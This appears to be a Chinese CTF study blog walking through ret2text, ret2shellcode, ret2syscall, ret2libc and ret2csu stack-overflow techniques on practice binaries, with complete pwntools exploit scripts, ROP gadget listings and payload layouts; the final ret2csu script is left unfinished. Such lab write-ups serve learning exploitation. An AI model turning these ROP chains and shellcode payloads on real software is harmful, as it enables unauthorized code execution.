0x01预备知识 *bss段 通常是指用来存放程序中未初始化的全局变量 的一块内存区域。 ** data段通常存放程序中 已经初始化的全局变量的一块内存区域。
text段是存放程序 执行代码的一块内存区域,称为代码段。
rodata段是存放C中的 字符串和#define定义的常量*
*p32 p64 :将一个数字转换为字符 ** u32 u64*:将字符转换为数字 或者说p32、p64是打包为二进制,u32、u64是解包为二进制
0x02ret2text ret2text就是执行程序中已有的代码。 例如程序中写有system等系统的调用函数(这便是已有的代码),我们就可以利用控制已有的gadgets(以ret及结尾的指令序列,通过这些指令序列,可以修改某些地址的内容)控制system函数。
题目解析 jarvisoj_level2 个人分析 只要是没有调用题目中的函数,返回地址是system的,就没有函数调用过程,后面要接虚拟地址
32位程序中,参数在函数后面
1 2 3 payload构造: payload = padding + sys_plt + 虚拟地址 + system()参数"/bin/sh" payload = 'a'*(0x88+4) + p32(sys) + 'b'*4 + p32(sh)
exp 1 2 3 4 5 6 7 8 from pwn import *r = process("./level2" ) context.log_level = "debug" sys = 0x8048320 sh = 0x0804a024 payload = 'a' *(0x88 +4 ) + p32(sys) + 'b' *4 + p32(sh) r.sendline(payload) r.interactive()
题目解析 jarvisoj_level2_x64 个人分析 64位系统函数调用传参优先使用寄存器 rdi rsi rdx rcx r8 r9
64位ubuntu18以上系统调用system函数时是需要栈对齐,32位则不用考虑
1 2 3 payload构造: payload = padding + rdi寄存器 + system()参数"/bin/sh" + ret抬栈 + sys_plt payload = 'a'*0x88 + p64(rdi) + p64(sh) + p64(ret) + p64(sys)
rdi寄存器查找:ROPgadget --binary level2_x64 --only ‘pop|ret’ | grep ‘rdi’
exp 1 2 3 4 5 6 7 8 9 10 from pwn import *r = process("./level2_x64" ) context.log_level = "debug" rdi = 0x00000000004006b3 sys = 0x4004c0 sh = 0x600a90 ret = 0x400644 payload = 'a' *0x88 + p64(rdi) + p64(sh) + p64(ret) + p64(sys) r.sendline(payload) r.interactive()
0x03ret2shellcode ret2shellcode 即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,一般题目无system和“/bin/sh”,则在bss段上传入shellcode
解析题目 jarvisoj_level1 个人分析 %p会打印出&buf的16进制地址
1 2 3 4 5 6 7 ssize_t vulnerable_function() { char buf[136]; // [esp+0h] [ebp-88h] BYREF printf("What's this:%p?\n", buf); return read(0, buf, 0x100u); }
p.recvuntil("What's this:")
:当接收到这句话时,int(p.recv(10),16)
接收后面的内容10个字节内容,可能是因为地址0xffc79bc0在双引号内,故被认为是字符,0xffc79bc0 是10个字符,0xff 是4个字符。
总结:打印出的地址在引号内的32位程序用int(p.recv(10),16)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 q@ubuntu:~/Desktop/HRP/ret2shellcode$ python2 level1_ret2shellcode_exp.py [!] Could not find executable 'level1' in $PATH , using './level1' instead [+] Starting local process './level1' argv=['level1' ] : pid 5492 [DEBUG] Received 0x18 bytes: "What's this:0xffc79bc0?\n" ('buf_addr => ' , '0xffc79bc0' ) ('buf_addr => ' , 4291271616) q@ubuntu:~/Desktop/HRP/ret2shellcode$ python2 level1_ret2shellcode_exp.py [!] Could not find executable 'level1' in $PATH , using './level1' instead [+] Starting local process './level1' argv=['level1' ] : pid 5473 [DEBUG] Received 0x18 bytes: "What's this:0xffbfaee0?\n" ('buf_addr => ' , '0xff' ) ('buf_addr => ' , 255)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *file_path='level1' context.log_level = "debug" p = process("level1" ) p.recvuntil("What's this:" ) buf = int (p.recv(10 ),16 ) print ("buf_addr => " , hex (buf))print ("buf_addr => " , buf)shellcode = asm(shellcraft.sh()) payload = shellcode payload = payload.ljust(0x88 +4 ,b'a' ) + p32(buf) p.send(payload) p.interactive()
0x04 retsyscall 解析题目 inndy_rop 个人分析1 eax=0xb(系统调用号) ebx=/bin/sh 的地址 ecx=0 edx=0
查找eax:ROPgadget --binary inndy_rop --only 'pop|ret' | grep 'eax'
,其他类似
1 2 3 4 5 6 7 q@ubuntu:~/Desktop/HRP/ret2syscall$ ROPgadget --binary inndy_rop --only 'pop|ret' | grep 'eax' 0x08091c74 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0809d18a : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080b8016 : pop eax ; ret 0x08087312 : pop eax ; ret 0x80c 0x080934a0 : pop eax ; ret 0x80e 0x0809d189 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
int 0x80:ROPgadget --binary rop --only 'int'
exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *file_path='./inndy_rop' p = process('./inndy_rop' ) int_80_ret = 0x0806F430 pop_eax_ret = 0x080b8016 pop_ebx_ret = 0x080481c9 pop_ecx_ret = 0x080de769 pop_edx_ret = 0x0806ecda bss = 0x80e9000 payload = b'a' *0xc +b'b' *4 payload += p32(pop_eax_ret)+p32(0x3 ) payload += p32(pop_ebx_ret)+p32(0x0 ) payload += p32(pop_ecx_ret)+p32(bss+0x100 ) payload += p32(pop_edx_ret)+p32(0x8 ) payload += p32(int_80_ret) payload += p32(pop_eax_ret)+p32(0xb ) payload += p32(pop_ebx_ret)+p32(bss+0x100 ) payload += p32(pop_ecx_ret)+p32(0 ) payload += p32(pop_edx_ret)+p32(0 ) payload += p32(int_80_ret) p.sendline(payload) sleep(1 ) p.sendline('/bin/sh\x00' ) p.interactive()
个人分析2 由于题目是静态编译,且栈溢出函数是gets,读入无限制,故可采用如下方法,但若是read函数可能有时就不能无限读,有时最多读0x100什么的就已经是最大的
可参考:http://t.csdn.cn/7DjOz
ropper生成ropchain :
ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 q@ubuntu:~/Desktop/HRP/ret2syscall$ ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] ROPchain Generator for syscall execve: [INFO] write command into data section eax 0xb ebx address to cmd ecx address to null edx address to null [INFO] Try to create chain which fills registers without delete content of previous filled registers [*] Try permuation 1 / 24 [INFO] Look for syscall gadget [INFO] syscall gadget found [INFO] generating rop chain #!/usr/bin/env python # Generated by ropper ropchain generator # from struct import pack p = lambda x : pack('I', x) IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae rebase_0 = lambda x : p(x + IMAGE_BASE_0) rop = '' rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += '//bi' rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2060) rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret; rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += 'n/sh' rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2064) rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret; rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += p(0x00000000) rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2068) rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret; rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; rop += rebase_0(0x000a2060) rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret; rop += rebase_0(0x000a2068) rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret; rop += rebase_0(0x000a2068) rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret; rop += p(0x0000000b) rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret; print(rop) [INFO] rop chain generated!
exp2 注意两处要改:
开头的rop = ''
=> rop = b'A'*0xC + b'B'*4
中间的rop += p(0x0000000b)
=> rop += p32(0x0000000b)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from struct import packfrom pwn import *p = process('./inndy_rop' ) context.log_level = "debug" IMAGE_BASE_0 = 0x08048000 rebase_0 = lambda x : p32(x + IMAGE_BASE_0) rop = b'A' *0xC +b'B' *4 rop += rebase_0(0x00070016 ) rop += b'//bi' rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2060 ) rop += rebase_0(0x0000c66b ) rop += rebase_0(0x00070016 ) rop += b'n/sh' rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2064 ) rop += rebase_0(0x0000c66b ) rop += rebase_0(0x00070016 ) rop += p32(0x00000000 ) rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2068 ) rop += rebase_0(0x0000c66b ) rop += rebase_0(0x000001c9 ) rop += rebase_0(0x000a2060 ) rop += rebase_0(0x00096769 ) rop += rebase_0(0x000a2068 ) rop += rebase_0(0x00026cda ) rop += rebase_0(0x000a2068 ) rop += rebase_0(0x00070016 ) rop += p32(0x0000000b ) rop += rebase_0(0x00027430 ) print (rop)p.sendline(rop) p.interactive()
0x05ret2libc ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt 处(已经执行过的函数) 或者函数的具体位置,即函数对应的got 表项的内容(第一次执行的函数)。
解析题目 jarvisoj_level1 个人分析 执行write函数泄露read_got表 => 再通过read在libc的offset得出libc_base => 根据libc_base得出system函数和“/bin/sh”的真实地址 => 返回到main主函数再次执行
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function (); write (1 , "Hello, World!\n" , 0xE u); return 0 ; }
1 2 3 4 5 6 7 8 ssize_t vulnerable_function () { char buf[136 ]; printf ("What's this:%p?\n" , buf); return read(0 , buf, 0x100 u); }
泄露真实地址时,payload1中p32(main_addr)
返回地址要是主函数main才能再次执行main,后面才能发送payload2
1 payload1 = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
而payload2中p32(main_addr)
可以任意改动,比如p32(4)
或者‘b’*4
1 payload2 = b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh)
python中lambda表达式的用法:
1 2 3 自定义匿名函数:func = lambda x : x**2 调用:func(2) 输出:4
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *from LibcSearcher import *file_path='./level1' p = process(file_path) elf = ELF(file_path) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) su = lambda desp,value:success(desp+' => ' +(hex (value) if type (value)==int else str (value))) ru = lambda delim :p.recvuntil(delim) rv = lambda count=1024 ,timeout=0 :p.recv(count,timeout) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) ss = lambda data :p.send(data) ssa = lambda delim,data :p.sendafter(delim, data) u64leak=lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\0' )) u64leak2=lambda :u64(p.recv(6 ).ljust(8 ,b'\0' )) write_plt = elf.plt['write' ] read_got = elf.got['read' ] main_addr = 0x080484B7 payload1 = b'A' *0x88 +b'B' *0x4 +p32(write_plt)+p32(main_addr)+p32(1 )+p32(read_got)+p32(4 ) p.sendafter("?" ,payload1) p.recvuntil('\n' ) read_addr = u32(p.recv(4 )) log.success("read_addr:{}" .format (hex (read_addr))) libc_base = read_addr - libc.symbols['read' ] system = libc_base+libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) log.success("libc_base:{}" .format (hex (libc_base))) log.success("system:{}" .format (hex (system))) log.success("binsh:{}" .format (hex (binsh))) payload2 = b'A' *0x88 +b'B' *0x4 +p32(system)+p32(main_addr)+p32(binsh) p.send(payload2) p.interactive()
0x06 ret2csu 在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 ret2csu是针对64位程序的
例题解析 level5 个人分析 1.利用write(1, write_got, 8)泄露libc => 2.利用read(0, bss, 16)写入system地址和/bin/sh字符串
=> 3.system(‘/bin/sh’) get shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def ret_csu (r12, r13, r14, r15, last ): payload = offset * 'a' payload += p64(first_csu) + 'a' * 8 payload += p64(0 ) + p64(1 ) payload += p64(r12) payload += p64(r15) + p64(r14) + p64(r13) payload += p64(second_csu) payload += 'a' * 56 payload += p64(last) return payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * r=process('./level5') context.log_level = "debug" csu_one=0x400606 csu_two=0x4005F0 bss=0x601028 def ret_csu(r12, r13, r14, r15, last): payload='/bin/sh\x00' payload += p64(csu_one) payload += p64(0) + p64(1) payload += p64(r12) payload += p64(r15) + p64(r14) + p64(r13) # rdx,rsi,rdi payload += p64(csu_two) # bss填充到这是bss+72的位置,这里是触发点 payload += p64(last) return payload
0x07 总结 ret2XX是根据ROP的gadgets的来源进行分类。
1.ret2text是利用程序本身的gadgets
2.ret2shellcode是利用输入的shellcode
3.ret2syscall是利用syscall的gadgets
4.ret2libc是利用libc当中存在的gadgets
5.ret2csu是程序编译时存在的gadget具有通用性
0x08特别说明 题目全在本地Ubuntu18打,题目来源星盟
参考CSDN:http://t.csdn.cn/I5pqB